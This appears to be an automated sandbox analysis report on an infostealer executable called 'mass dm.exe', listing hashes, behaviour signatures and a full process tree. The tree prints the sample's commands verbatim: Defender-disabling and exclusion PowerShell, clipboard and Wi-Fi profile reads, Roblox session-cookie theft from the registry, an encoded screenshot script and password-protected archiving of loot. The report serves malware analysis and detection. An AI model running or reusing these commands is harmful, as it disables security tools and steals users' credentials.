Analysis

  • max time kernel
    428s
  • max time network
    429s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18/01/2025, 02:03

General

  • Target

    mass dm.exe

  • Size

    7.6MB

  • MD5

    90c76a9301dc1557f738629af1e9fd54

  • SHA1

    f596aad560c353621db62893eddde2dcb68c86ae

  • SHA256

    2daa123b683d5dfe593b8f9d3929f73d93eac30f53610d8ced9a0560fa0a209e

  • SHA512

    2be37dbefa11fd8f4100be871ccc6f9c4d97891a53cb979b24cabf95cf6bab3b0fa9216d003a7e3c2fba1ae472a75ba887b139370179057e6902469e948e4b2a

  • SSDEEP

    196608:KSHYbwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q9VMwICEc/XF:rIHziK1piXLGVE4Ue9VJt

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\mass dm.exe
    "C:\Users\Admin\AppData\Local\Temp\mass dm.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3284
    • C:\Users\Admin\AppData\Local\Temp\mass dm.exe
      "C:\Users\Admin\AppData\Local\Temp\mass dm.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4048
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\mass dm.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\mass dm.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3992
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:484
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:4080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:2276
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3688
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:2664
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3968
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:4864
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\mass dm.exe""
            3⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:2804
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Temp\mass dm.exe"
              4⤵
              • Views/modifies file attributes
              PID:1544
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1488
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3372
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:1536
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:3748
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
              PID:3328
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:248
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                • Clipboard Data
                PID:3872
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  4⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2216
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:2992
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:32
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:2900
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:3344
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                      3⤵
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:4672
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profile
                        4⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:3992
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      3⤵
                        PID:4860
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          4⤵
                          • Gathers system information
                          PID:132
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                        3⤵
                          PID:3732
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1416
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rfmhtp0c\rfmhtp0c.cmdline"
                              5⤵
                                PID:4732
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBDF1.tmp" "c:\Users\Admin\AppData\Local\Temp\rfmhtp0c\CSC6A0C2792ED6649B0A6BD794AA8B29328.TMP"
                                  6⤵
                                    PID:3880
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              3⤵
                                PID:3388
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  4⤵
                                    PID:2076
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:432
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:4916
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:2304
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:2984
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:992
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              4⤵
                                                PID:1544
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:4612
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                3⤵
                                                  PID:1380
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    4⤵
                                                      PID:2860
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                    3⤵
                                                      PID:2488
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                        4⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:3960
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                      3⤵
                                                        PID:3360
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                          4⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:3380
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "getmac"
                                                        3⤵
                                                          PID:3272
                                                          • C:\Windows\system32\getmac.exe
                                                            getmac
                                                            4⤵
                                                              PID:4180
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI32842\rar.exe a -r -hp"SZZ" "C:\Users\Admin\AppData\Local\Temp\VZQyT.zip" *"
                                                            3⤵
                                                              PID:3992
                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI32842\rar.exe
                                                                C:\Users\Admin\AppData\Local\Temp\_MEI32842\rar.exe a -r -hp"SZZ" "C:\Users\Admin\AppData\Local\Temp\VZQyT.zip" *
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:432
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                              3⤵
                                                                PID:3376
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic os get Caption
                                                                  4⤵
                                                                    PID:4736
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                  3⤵
                                                                    PID:684
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic computersystem get totalphysicalmemory
                                                                      4⤵
                                                                        PID:4792
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                      3⤵
                                                                        PID:5088
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic csproduct get uuid
                                                                          4⤵
                                                                            PID:1576
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                          3⤵
                                                                            PID:668
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                              4⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:2372
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                            3⤵
                                                                              PID:1716
